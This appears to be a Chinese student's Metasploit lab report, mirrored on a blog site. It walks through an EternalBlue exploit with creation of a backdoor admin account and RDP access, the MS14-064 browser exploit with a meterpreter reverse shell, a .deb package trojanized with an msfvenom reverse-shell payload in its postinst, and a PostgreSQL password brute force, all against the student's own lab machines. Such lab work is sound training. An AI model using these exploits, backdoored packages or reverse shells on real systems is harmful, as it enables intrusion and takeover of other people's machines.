zoukankan      html  css  js  c++  java
  • 175210 Exp6 MSF基础应用

    实践过程

    一、主动攻击的实践

    MS17-010 (永恒之蓝)实现 Windows Getshell

    漏洞复现环境

    • 渗透机 parrot linux
    • 靶机 windows 7 (关防火墙)

    流程

    1、进入MSF框架,搜索 ms17-010 模块

    其中 auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝渗透代码,前者先扫描,若显示有漏洞,再进行渗透。

    2、使用扫描模块扫描漏洞
    use auxiliary/scanner/smb/smb_ms17_010 
    set RHOSTS 192.168.131.140
    run 
    

    截图中 Host is likely vulnerable to ms17-010,表明存在风险漏洞

    3、使用渗透模块进行渗透
    use exploit/windows/smb/ms17_010_eternalblue 
    set RHOST 192.168.131.140
    exploit 
    

    可以看到直接获得了 windows7 的 shell

    4、通过 shell 远程桌面 windows7
    创建用户名密码 
    blue/blue  net user blue blue /add 
    将用户blue添加入管理组  
    net localgroup administrators blue /add 
    开启远程桌面功能  
    REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 
    

    打开新的终端,切换为 root 用户,输入
    rdesktop 192.168.131.140:3389
    成功远程连接 windows7
    

    二、针对浏览器的攻击实践

    ms14_064

    漏洞复现环境

    • 渗透机 parrot linux
    • 靶机 windows 7 (关防火墙)

    流程

    1、搜索 ms14_064 模块
    search ms14_064
    

    可以看到第一个模块和浏览器有关,就选它了

    2、发起攻击
    use exploit/windows/browser/ms14_064_ole_code_execution 
    set payload windows/meterpreter/reverse_tcp 
    set SRVHOST 192.168.131.129
    set LHOST 192.168.131.129
    set LPORT 5223
    exploit
    

    可以看到恶意服务开启在 8080 端口, Using URL 就是 IE 浏览器要打开的 url

    3、靶机用IE访问这个url后就会执行我们的恶意代码,建立新的连接。sessions -i 1进入新建的会话,成功获取shell

    三、针对客户端的攻击

    deb 包诱骗

    实验环境

    • parrot 攻击机
    • parrot home 靶机

    流程

    一、下载 deb 包
    • 这里我下载 freesweep (一款终端小游戏),使用 --download-only 命令让其不安装
      sudo apt-get --download-only install freesweep
      
    • cd /var/cache/apt/archives/,我们可以看到下载好的 deb 包:freesweep_1.0.1-1_amd64.debcp 到自己的工作目录下
    二、修改 deb 包
    • 解压 deb

      sudo dpkg -x freesweep_1.0.1-1_amd64.deb free
      
      解压包,把解压的文件放在free这个目录
      
    • 新建 DEBIAN 目录

      cd free
      mkdir DEBIAN
      
      安装 deb 包时会读取,执行 DEBIAN 内的文件
      
    • 编写脚本文件

      DEBIAN 目录下创建 controlpostinst 两文件

      touch control && touch postinst
      

      control 文件存放包的描述信息,如下

      需要注意的是,Architecture 一栏要填写目标机器的处理器架构,否则无法安装

      postinst 是一个脚本文件,里面的内容在 deb 包安装时会执行

      将以下内容写入 postinst

      #!/bin/bash
      sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
      

      注意,这里的 /usr/games 不是根目录下的 /usr,是指 deb 在安装时会执行 安装包下的/usr目录中的文件

      所以我们将 payload 附加到 deb 包 /usr/games/ 目录下的可执行文件后面即可

      msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.131.129 LPORT=4444 -b "x00" -f elf -o /home/mt/mycs/free/usr/games/freesweep _scores_
      

    • 重新打包

      先要赋予 postinst 可执行的权限

      sudo chmod 755 postinst
      

      使用 sudo dpkg-deb --build /home/mt/mycs/free 命令打包

    至此,修改 deb 包成功

    三、监听并获得 shell
    • 攻击机打开监听

    • 另一台 linux (parrot home) 安装 deb

      dpkg -i free.deb
      

      可以发现像正常软件一样安装成功(图中的 Freesweep)

    • 获得 shell

      deb 包被安装,我的攻击机显示建立了一个新的会话

      输入 ls ,发现已经获得了目标机的 shell

    四、成功应用任何一个辅助模块

    不管选哪个模块,攻击哪种服务,我都要先把自己的密码改为 postgres 式的弱口令……

    渗透攻击PostgreSQL数据库服务

    • postgresql 数据库的密码改为 postgres,为了能爆破成功

      su postgres
      psql
      ALTER USER postgres WITH PASSWORD 'postgres';
      
    • search postgres type:auxiliary 查找可用模块

    • use auxiliary/scanner/postgres/postgres_login 进入模块

    • set RHOSTS 192.168.131.130,设置爆破的主机

    • exploit

      我们可以看到 postgres:postgres,即用户 postgres的密码是 postgres

    看起来很酷,但是没有实际价值。还有攻击 mysqlssh 之类的,也都是穷举爆破。

    实践总结与体会

    基础问题问答

    1、用自己的话解释什么是exploit, payload, encode

    • exploit: 渗透攻击,通过寻找并利用靶机的漏洞实现非授权行为甚至直接完全取得被攻击机的控制权

    • payload:载荷,有效负载。实现非授权操作时执行攻击代码的那部分,可以是一段代码

    • encode:编码。在之前的实验中曾利用encode寻求后门程序的免杀

    2、离实战还缺些什么技术或步骤

    • 实验中防火墙处于关闭状态,实战要绕过防火墙
    • 实验中攻击的漏洞在现实中早有了补丁,实战要挖掘新的漏洞
    • 针对客户端的攻击中,我们如何才能让对方下载并安装含有后门的软件?这就是社会工程学的内容了

    实验体会

    设置强度较高的密码,拒绝来源不明的软件很有必要。

  • 相关阅读:
    [单链表]链表指针追赶问题
    二叉查找树与平衡二叉树
    二叉树的下一个结点
    fork进程函数总结
    《Effective C++》Item2:尽量以const,enum,inline替换#define
    Hash表的使用
    [数字]整数数字的算法
    算法题:找出整数数组中两个只出现一次的数字
    删除元素的操作
    [Reprinted] 使用Spring Data Redis操作Redis(一) 很全面
  • 原文地址:https://www.cnblogs.com/mtzf/p/12819752.html
Copyright © 2011-2022 走看看